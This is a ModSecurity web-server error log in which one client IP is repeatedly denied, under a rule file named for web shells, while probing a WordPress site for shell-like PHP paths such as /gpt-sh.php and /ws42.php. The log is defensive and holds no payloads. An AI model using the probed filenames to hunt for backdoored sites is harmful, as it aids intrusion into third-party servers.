[Tue Mar 31 17:14:58.226638 2026] [:error] [pid 36982:tid 37007] [client 172.161.1.56:41873] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws42.php"] [unique_id "acuQkvlMmeoQKN0r_GM6DgAAANY"]
[Tue Mar 31 17:14:58.891342 2026] [:error] [pid 41421:tid 41430] [client 172.161.1.56:43237] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws42.php"] [unique_id "acuQkhSaDjY9kKFtUQBSmQAAAQY"]
[Tue Mar 31 17:14:59.703826 2026] [:error] [pid 36890:tid 36916] [client 172.161.1.56:12300] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws42.php"] [unique_id "acuQk58FASPd_uH8z7f9cwAAABU"]
[Tue Mar 31 17:15:00.415552 2026] [:error] [pid 36891:tid 36933] [client 172.161.1.56:43214] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws42.php"] [unique_id "acuQlJJhiMaJUqoqfl6qzQAAAEk"]
[Tue Mar 31 17:15:00.930981 2026] [:error] [pid 36892:tid 36974] [client 172.161.1.56:54672] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "acuQlEyj9S4G0ek3O4JevAAAAJc"]
[Tue Mar 31 17:15:01.472651 2026] [:error] [pid 36982:tid 37002] [client 172.161.1.56:30591] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "acuQlflMmeoQKN0r_GM6GwAAANE"]
[Tue Mar 31 17:15:02.083047 2026] [:error] [pid 36982:tid 36985] [client 172.161.1.56:41856] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "acuQlvlMmeoQKN0r_GM6IgAAAMA"]
[Tue Mar 31 17:15:02.628475 2026] [:error] [pid 36982:tid 37009] [client 172.161.1.56:48740] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/66.php"] [unique_id "acuQlvlMmeoQKN0r_GM6JQAAANg"]
[Tue Mar 31 17:15:03.173643 2026] [:error] [pid 36892:tid 36973] [client 172.161.1.56:48760] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "acuQl0yj9S4G0ek3O4JevQAAAJY"]
[Tue Mar 31 17:15:04.299423 2026] [:error] [pid 6548:tid 6568] [client 172.161.1.56:20972] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "acuQmLgIz9HgMl9YwE7HvwAAAVI"]
[Tue Mar 31 17:15:05.059471 2026] [:error] [pid 36892:tid 36955] [client 172.161.1.56:52862] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "acuQmUyj9S4G0ek3O4JexAAAAIQ"]
[Tue Mar 31 17:15:05.637917 2026] [:error] [pid 6548:tid 6555] [client 172.161.1.56:9081] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "acuQmbgIz9HgMl9YwE7HywAAAUU"]
[Tue Mar 31 17:15:06.249752 2026] [:error] [pid 36892:tid 36959] [client 172.161.1.56:49820] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acuQmkyj9S4G0ek3O4JeyQAAAIg"]
[Tue Mar 31 17:15:06.767453 2026] [:error] [pid 36982:tid 37009] [client 172.161.1.56:51673] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acuQmvlMmeoQKN0r_GM6LAAAANg"]
[Tue Mar 31 17:15:07.368005 2026] [:error] [pid 41421:tid 41448] [client 172.161.1.56:9061] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acuQmxSaDjY9kKFtUQBSpgAAARg"]
[Tue Mar 31 17:15:08.015197 2026] [:error] [pid 41421:tid 41442] [client 172.161.1.56:30589] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "acuQnBSaDjY9kKFtUQBSqAAAARI"]
[Tue Mar 31 17:15:08.508517 2026] [:error] [pid 36982:tid 36997] [client 172.161.1.56:52832] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "acuQnPlMmeoQKN0r_GM6LgAAAMw"]
[Tue Mar 31 17:15:09.139805 2026] [:error] [pid 36982:tid 36985] [client 172.161.1.56:17402] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "acuQnflMmeoQKN0r_GM6MQAAAMA"]
[Tue Mar 31 17:15:09.735405 2026] [:error] [pid 36890:tid 36905] [client 172.161.1.56:9038] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "acuQnZ8FASPd_uH8z7f9gAAAAAo"]
[Tue Mar 31 17:15:10.246772 2026] [:error] [pid 36982:tid 37005] [client 172.161.1.56:29907] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/north1.php"] [unique_id "acuQnvlMmeoQKN0r_GM6NAAAANQ"]
[Tue Mar 31 17:15:10.900488 2026] [:error] [pid 36890:tid 36897] [client 172.161.1.56:30587] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "acuQnp8FASPd_uH8z7f9hQAAAAI"]
[Tue Mar 31 17:15:11.494131 2026] [:error] [pid 36982:tid 37003] [client 172.161.1.56:51702] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "acuQn_lMmeoQKN0r_GM6NgAAANI"]
[Tue Mar 31 17:15:11.989276 2026] [:error] [pid 36890:tid 36895] [client 172.161.1.56:20974] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "acuQn58FASPd_uH8z7f9iAAAAAA"]
[Tue Mar 31 17:15:12.508527 2026] [:error] [pid 36890:tid 36909] [client 172.161.1.56:17381] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "acuQoJ8FASPd_uH8z7f9iQAAAA4"]
[Tue Mar 31 17:15:13.034691 2026] [:error] [pid 36891:tid 36933] [client 172.161.1.56:49825] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "acuQoZJhiMaJUqoqfl6q3wAAAEk"]
[Tue Mar 31 17:15:14.603760 2026] [:error] [pid 41421:tid 41446] [client 172.161.1.56:20944] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "acuQohSaDjY9kKFtUQBSuwAAARY"]
[Tue Mar 31 17:15:26.108098 2026] [:error] [pid 36892:tid 36968] [client 172.161.1.56:29940] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ggb.php"] [unique_id "acuQrkyj9S4G0ek3O4Je6wAAAJE"]
[Tue Mar 31 17:15:28.651808 2026] [:error] [pid 36890:tid 36917] [client 172.161.1.56:54670] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "acuQsJ8FASPd_uH8z7f9pgAAABY"]
[Tue Mar 31 17:15:29.955594 2026] [:error] [pid 41421:tid 41442] [client 172.161.1.56:54662] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "acuQsRSaDjY9kKFtUQBS1gAAARI"]
[Tue Mar 31 17:15:30.769920 2026] [:error] [pid 41421:tid 41426] [client 172.161.1.56:41871] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "acuQshSaDjY9kKFtUQBS2QAAAQI"]
[Tue Mar 31 17:15:31.440360 2026] [:error] [pid 36982:tid 36986] [client 172.161.1.56:37196] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin.php"] [unique_id "acuQs_lMmeoQKN0r_GM6VwAAAME"]
[Tue Mar 31 17:15:32.265497 2026] [:error] [pid 36890:tid 36898] [client 172.161.1.56:15191] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "acuQtJ8FASPd_uH8z7f9qgAAAAM"]
[Tue Mar 31 17:15:33.007657 2026] [:error] [pid 36982:tid 37009] [client 172.161.1.56:17919] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "acuQtflMmeoQKN0r_GM6XQAAANg"]
[Tue Mar 31 17:15:33.695369 2026] [:error] [pid 6548:tid 6558] [client 172.161.1.56:54700] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "acuQtbgIz9HgMl9YwE7IXAAAAUg"]
[Tue Mar 31 17:15:34.290533 2026] [:error] [pid 36890:tid 36916] [client 172.161.1.56:23717] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws77.php"] [unique_id "acuQtp8FASPd_uH8z7f9sgAAABU"]
[Tue Mar 31 17:15:35.036028 2026] [:error] [pid 36892:tid 36964] [client 172.161.1.56:17876] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gpt-sh.php"] [unique_id "acuQt0yj9S4G0ek3O4Je_QAAAI0"]
[Tue Mar 31 17:15:35.703068 2026] [:error] [pid 36892:tid 36959] [client 172.161.1.56:23722] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gpt-sh.php"] [unique_id "acuQt0yj9S4G0ek3O4JfAgAAAIg"]
[Tue Mar 31 17:15:36.295319 2026] [:error] [pid 36892:tid 36951] [client 172.161.1.56:48720] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gpt-sh.php"] [unique_id "acuQuEyj9S4G0ek3O4JfBgAAAIA"]
[Tue Mar 31 17:15:36.900159 2026] [:error] [pid 6548:tid 6569] [client 172.161.1.56:43225] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gpt-sh.php"] [unique_id "acuQuLgIz9HgMl9YwE7IcQAAAVM"]
[Tue Mar 31 17:15:37.513467 2026] [:error] [pid 36892:tid 36973] [client 172.161.1.56:43246] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "acuQuUyj9S4G0ek3O4JfEAAAAJY"]
[Tue Mar 31 17:15:38.003172 2026] [:error] [pid 6548:tid 6567] [client 172.161.1.56:20931] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "acuQurgIz9HgMl9YwE7IiwAAAVE"]
[Tue Mar 31 17:15:38.698133 2026] [:error] [pid 41421:tid 41442] [client 172.161.1.56:43253] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "acuQuhSaDjY9kKFtUQBS5gAAARI"]
[Tue Mar 31 17:15:39.293456 2026] [:error] [pid 36982:tid 37009] [client 172.161.1.56:46855] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f6.php"] [unique_id "acuQu_lMmeoQKN0r_GM6YQAAANg"]
[Tue Mar 31 17:15:39.836017 2026] [:error] [pid 6548:tid 6556] [client 172.161.1.56:15179] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "acuQu7gIz9HgMl9YwE7IowAAAUY"]
[Tue Mar 31 17:15:40.373073 2026] [:error] [pid 36982:tid 36987] [client 172.161.1.56:61593] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "acuQvPlMmeoQKN0r_GM6ZgAAAMI"]
[Tue Mar 31 17:15:42.089167 2026] [:error] [pid 6548:tid 6557] [client 172.161.1.56:51650] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "acuQvrgIz9HgMl9YwE7IuQAAAUc"]
[Tue Mar 31 17:15:43.071130 2026] [:error] [pid 41421:tid 41445] [client 172.161.1.56:16063] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "acuQvxSaDjY9kKFtUQBTBQAAARU"]
[Tue Mar 31 17:15:43.730065 2026] [:error] [pid 6548:tid 6555] [client 172.161.1.56:61609] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wander.php"] [unique_id "acuQv7gIz9HgMl9YwE7IyQAAAUU"]
[Tue Mar 31 17:15:44.541496 2026] [:error] [pid 6548:tid 6559] [client 172.161.1.56:46882] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wander.php"] [unique_id "acuQwLgIz9HgMl9YwE7I0AAAAUk"]
[Tue Mar 31 17:15:45.313726 2026] [:error] [pid 36982:tid 36997] [client 172.161.1.56:20953] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wander.php"] [unique_id "acuQwflMmeoQKN0r_GM6awAAAMw"]
[Tue Mar 31 17:15:45.982175 2026] [:error] [pid 36890:tid 36917] [client 172.161.1.56:20959] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wander.php"] [unique_id "acuQwZ8FASPd_uH8z7f9wAAAABY"]
[Tue Mar 31 17:15:46.742284 2026] [:error] [pid 41421:tid 41440] [client 172.161.1.56:43226] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h02ugyh.php"] [unique_id "acuQwhSaDjY9kKFtUQBTEgAAARA"]
[Tue Mar 31 17:15:47.329536 2026] [:error] [pid 36890:tid 36914] [client 172.161.1.56:51661] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h02ugyh.php"] [unique_id "acuQw58FASPd_uH8z7f9xAAAABM"]
[Tue Mar 31 17:15:48.117253 2026] [:error] [pid 6548:tid 6552] [client 172.161.1.56:37205] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h02ugyh.php"] [unique_id "acuQxLgIz9HgMl9YwE7I6wAAAUI"]
[Tue Mar 31 17:15:49.072694 2026] [:error] [pid 6548:tid 6573] [client 172.161.1.56:15189] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/h02ugyh.php"] [unique_id "acuQxbgIz9HgMl9YwE7I9wAAAVc"]
[Tue Mar 31 17:15:49.600615 2026] [:error] [pid 6548:tid 6568] [client 172.161.1.56:62802] [client 172.161.1.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ad.php"] [unique_id "acuQxbgIz9HgMl9YwE7JAAAAAVI"]
